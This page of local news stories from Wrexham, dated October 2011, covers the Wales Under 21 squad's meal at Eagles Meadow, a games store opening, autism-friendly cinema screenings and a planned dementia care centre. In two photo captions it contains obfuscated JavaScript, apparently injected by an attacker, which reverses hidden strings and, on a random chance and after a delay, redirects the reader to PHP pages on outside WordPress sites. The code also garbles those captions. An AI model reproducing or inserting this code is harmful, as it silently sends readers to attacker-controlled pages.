Category: News

Flynn: how Wrexham has changed!

The Wales Under 21 squad at Frankie and Bennys, Eagles Meadow, Wrexham. Shift manager Rob Lightfoot talks $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to team manager Brian Flynn.

Ex-Wrexham  boss Brian Flynn is amazed at the way things have changed – and not just at the football club.

Brian was back in town 10 years after his managerial reign ended at the Racecourse when the club was still in the football league.

This time he returned as manager of the Wales Under 21 side taking on Montenegro on Saturday and the Czech republic in Tuesday’s game.

The respected Welsh stalwart,  who earned 66 full caps as a player,  took the Under 21s for a meal to Frankie and Benny’s at the town’s Eagles Meadow shopping centre.

Brian couldn’t hide his delight at being back in Wrexham having managed the town’s club for 12 years between 1989 and 2001.

Since then Eagles Meadow has created a net increase of more than 1,000 new jobs and underlined the town’s credentials as the shopping capital of North Wales.

He said: “It’s a special place Wrexham and I have nothing but good memories of the town.

“Mind you, Eagles Meadow wasn’t here when I was manger of Wrexham Football Club. I’m very impressed by what’s on offer. It’s a great facility to have and is certainly thriving with busy restaurants to complement all the stores.

“We have been made very welcome here at Frankie and Benny’s and it’s a chance to let the lads have a relaxing meal and a good get together.”

Wrexham goalkeeper Chris Maxwell is thrilled to be part of the squad and was made up to show his team-mates what Wrexham has to offer.

He said: “It’s great. I have recently moved to the town having been brought up in Llandudno. So I already use Eagles Meadow a fair bit anyway. I go bowling quite a lot and, to be honest, I eat at Frankie and Benny’s quite regularly.

“It’s great to be playing international matches in Wrexham, which is of course the world’s oldest international football venue still  in existence. We are looking for a couple of good wins out of our two games.”

Nottingham Forest midfielder, Keiran Freeman and Shrewsbury Town striker Tom Bradshaw both say they have been enjoying their time in Wrexham ahead of the two qualifying matches.

Keiran said: “Wrexham seems a really nice place and we have been made very welcome at Frankie & Benny’s.”

Tom added: “Playing just down the road at Shrewsbury I know Wrexham quite well. It’s a great town and we have been made to feel really welcome by everyone we have met.”

Rob Lightfoot, Frankie and Benny’s duty manager, said he was thrilled to welcome the Wales Under 21 squad to the restaurant.

He said: “We are delighted the team’s management chose our Eagles Meadow restaurant for a team meal.

“It’s nice for the staff to get to meet all the players and as I was born and bred in Wrexham it’s great to get to meet Brian Flynn who will always be a Wrexham legend.

“Everyone here at Frankie and Benny’s hopes all the squad enjoy their stay in the town and wish them well for their forthcoming matches.”

Wednesday October 19th, 2011

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Lara Croft heralds new jobs at store

EAGLES MEADOW, WREXHAM. Grainger Games opening on Saturday 24th September with the games hummer and two Lara Croft lookalikes. Pictured is Leah Brickhouse and Samantha Jackson.

Gun toting cyber babe Lara Croft has been North Wales for the first time since Tomb Raider 2 was filmed here nearly 10 years ago.

The fictional character, made famous by Angelina Jolie, came to the Eagles Meadow shopping centre in Wrexham.

Two lookalike models Leah Brighouse and Samantha Jackson, accompanied by a bright orange hummer stopped weekend shoppers in their tracks as they celebrated the opening of Grainger Games.

The flagship Wrexham store has been hailed by managers as it’s brought new jobs to the town and it’s the first in Wales.

According to Manager Stephen Bramwell, Grainger Games is excited to start trading in the town.

He said: “We started in Newcastle and we thought it was a good time to come to Wales and Wrexham’s the first one and we’re seeing how well we’ll do here.

“We want to see this as a stepping stone. We have a store in Ellesmere Port and lots of people kept asking why we didn’t have a store in Wrexham.

“Grainger Games is an awesome company. We’re aiming to have 100 stores open by next year. Wrexham is our 70th,” he said.

The store has brought six new jobs to the town and there will be more employment opportunities as Christmas approaches.

“The store has six full time members of staff and we’re looking for a part time member of staff now. We’ll also be taking more people on for Christmas,” said Mr Bramwell.

The 32-year-old is originally from Liverpool and wants to see Grainger Games in Eagles Meadow eventually managed by someone from the Wrexham area.

“I want to hand the store over to someone from the local area….so fingers crossed there’ll be a manager’s position available soon. Ideally we’d like someone from Wrexham who knows the area,” he said.

When the shop opened on Saturday dozens of children were drawn to the orange hummer parked outside the store. The vehicle is synonymous with celebrity drivers such as Hollywood star Arnold Schwarzenegger.

Said Stephen: “We use the hummer with every store open and it’s always a great success.”

Also a hit with shoppers were Lara Croft lookalikes Leah Brighouse and Samantha Jackson from Prestatyn.

The computer generated Lara has been popular in North Wales since Tomb Raider: The Cradle of Fire was filmed in and around Snowdonia in 2002.

Miss Brighouse has been a Lara lookalike model for 4 years and has now set up her own agency.  She managed to look around Eagles Meadow during the day and said she was impressed with what she saw.

“We’ve not been to Wrexham for  a few years and we didn’t recognise Eagles Meadow. We’ve said we’ll come back shopping now that Wrexham’s been spruced up,” she said.

Stephen Bramwell added that their first day trading was very promising.

“It’s been brilliant, awesome and the store’s been busy all day. We try to be cheaper and we want to be the cheapest in Wrexham. This is a really nice shopping centre and foot falls been great and it’ll only get better as more and more stores open.”

Eagles Meadow Manager Kevin Critchley was delighted to welcome Grainger Games to the centre.

He said: “We have a really diverse range of  independent shops and well known High Street favourites at Eagles Meadow and Grainger Games has added to the choice.

“I am naturally extremely pleased that they chose Eagles Meadow as the location for their first ever Welsh store.”

Wednesday October 19th, 2011

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Autism friendly films are a big hit

Odeon Cinema at Eagles Meadow in Wrexham screen Autism friendly films, currently Mr Popper's Penguins. Pictured: Michael Lewis age 9 from Penycae looks forward $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}to watching the film with his older brother Mathew (correct spelling) Lewis and mum Eleri Lewis

A pioneering initiative to organise special screenings for autistic children and adults has been a big hit at a cinema in Wrexham

So much so that the Odeon at the Eagles Meadow shopping centre is now planning to make it a monthly feature.

Next up is Johnny English Reborn and it will be screened on Tuesday, October 18, at 11.30am.

Manager Andy Elvis said: “The first showing of an autism friendly film proved extremely popular as in enabled families to watch a cinema film properly for the first time.

“Autistic children find the darkness, flashing lights and noisy sound effects of the big screen frightening, so that most of the time they can’t bear to watch the film.

“As before, we will be playing the film in an autism friendly environment with the lights up and the sound at a lower level with no trailers or adverts.

“Guests in the screen have the freedom to move around as they wish and staff will be on hand at all times to help as and when required.

“The event is aimed to be a monthly feature with the next one scheduled to be on November 18th. The screenings will be on Tuesday mornings initially. 

” We see this as an invaluable opportunity to reach out to another segment of our disabled audience, something that will bring joy to a great many autistic children and adults. 

“We are working in conjunction with the autism charity Dimensions.”
The trial screening over the summer was the blockbuster film,

Mr Popper’s Penguins.

In the audience was Eleri Lewis, of Penycae, who took her autistic son Michael, nine, and his elder brother Mathew, 14, along to the screening.

She was delighted to be able to enjoy a family film with Michael, a treat most parents take for granted.

Eleri said: “The biggest problem with autistic children, and remember there are varying degrees of autism, is noise. For example, Michael went to the toilet on arrival at the cinema and when someone used the hand dryer the noise had him covering his ears and he became visibly distressed.

“So far as my son is concerned noise is the biggest issue and as a result we have not been able to enjoy the cinema experience before. We have always wanted to see new films but there is no way he could cope with the usual high volume levels.

“What the Odeon Cinema here at Eagles Meadow is doing is brilliant.”

Sarah Lee, also of Penycae, was there with her eight-year-old autistic son, Tomos, and described the experience as “fantastic”.

She said: “We did try going to the cinema a few months ago but it turned into a traumatic experience. We were only in for a few moments as Tomos simply couldn’t cope with the noise levels.

“Trying to do something to include autistic children and young people has to be a good thing and the Odeon should be congratulated on their efforts and for giving something different a real go.”

All of the details are on the Dimensions website www.dimensions-uk.org/autisticfilms

Wednesday October 19th, 2011

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Centre of excellence will create more than 100 new jobs in North Wales

Mario and Gill Kreft at the Bryn

Ambitious plans have been unveiled for a “world class” centre in Gwynedd to care for people with dementia.

The award-winning Pendine Park care organisation say the £5 million centre in Caernarfon will create more than 100 new jobs.

The planning application details their vision for the purpose-built centre on the site of a former community hospital, Ysbyty Bryn Seiont, in Pant Road, on the outskirts of the town.

With so many people living longer these days, dementia in its various forms is a growing problem. It can also afflict a surprising number of younger people.

There are 700,000 people living with dementia in the UK today, a number that’s forecast to double within a generation. The Alzheimer’s Society call it the “dementia timebomb”.

The scheme at the five-acre Bryn Seiont site  is the brainchild of Mario Kreft, the proprietor of Pendine Park, and his wife, Gill.

The couple run six care homes, a domiciliary care company and a teaching care centre in the Wrexham area and Mr Kreft is a leading figure in the UK care sector.

He is the Chair of Care Forum Wales, the main representative body for the care sector in Wales, and was last year awarded an MBE for his contribution to social care in Wales.

Pendine Park already employs 500 people in North East Wales.

The model for Canolfan Gofal Bryn Seiont (Bryn Seiont Care Centre) was completed in Wrexham last year and was officially opened by First Minister Carwyn Jones.

There, the new Bodlondeb unit is divided into eight small, family-like units so that the residents receive individual care and attention while benefiting from the back-up of a larger organisation

Pendine Park is working closely with one of the UK’s leading dementia experts, Professor Bob Woods, from Bangor University, and the Alzheimer’s Society

Mr Kreft said: “Over the past two years we have consulted extensively with the local authority, social services and the Local Health Board so that we can provide a service that responds to local needs. We will also be holding a consultation event in November.”

“Our vision for Canolfan Gofal Bryn Seiont is to provide a world class community based resource for people with dementia who need high-dependancy care not currently available in the area.

 “We aim to create a centre of excellence in Caernarfon to provide 24/7 services and they will include respite and day services. 

“But they will also be closely linked with our  teaching care centre which is going to ensure that our staff have the highest possible standard of training and personal development.

The Krefts, who celebrated the 25th anniversary of Pendine Park last year, entered the care sector when they were unable to find suitable residential care for their elderly grandparents.

Mrs Kreft said: “I think it’s fair to say that when you’ve had a personal situation or experience, you see things in a different light. 

“It was many years ago in our case but it taught us that you need the very best services possible to meet your relatives’ needs. 

“We were in a position where we couldn’t really find those services so we decided to take matters into our own hands and provide the sort of care that we felt was required for our grandparents, providing us with peace of mind and our grandparents with dignity and respect. 

 “We see Canolfan Gofal Bryn Seiont as a really exciting opportunity to provide some new, innovative services and to work closely with the statutory authorities to make sure that those services meet the needs and the likely future needs of the people of Gwynedd.”

Caption: Mario and Gill Kreft

Wednesday October 19th, 2011

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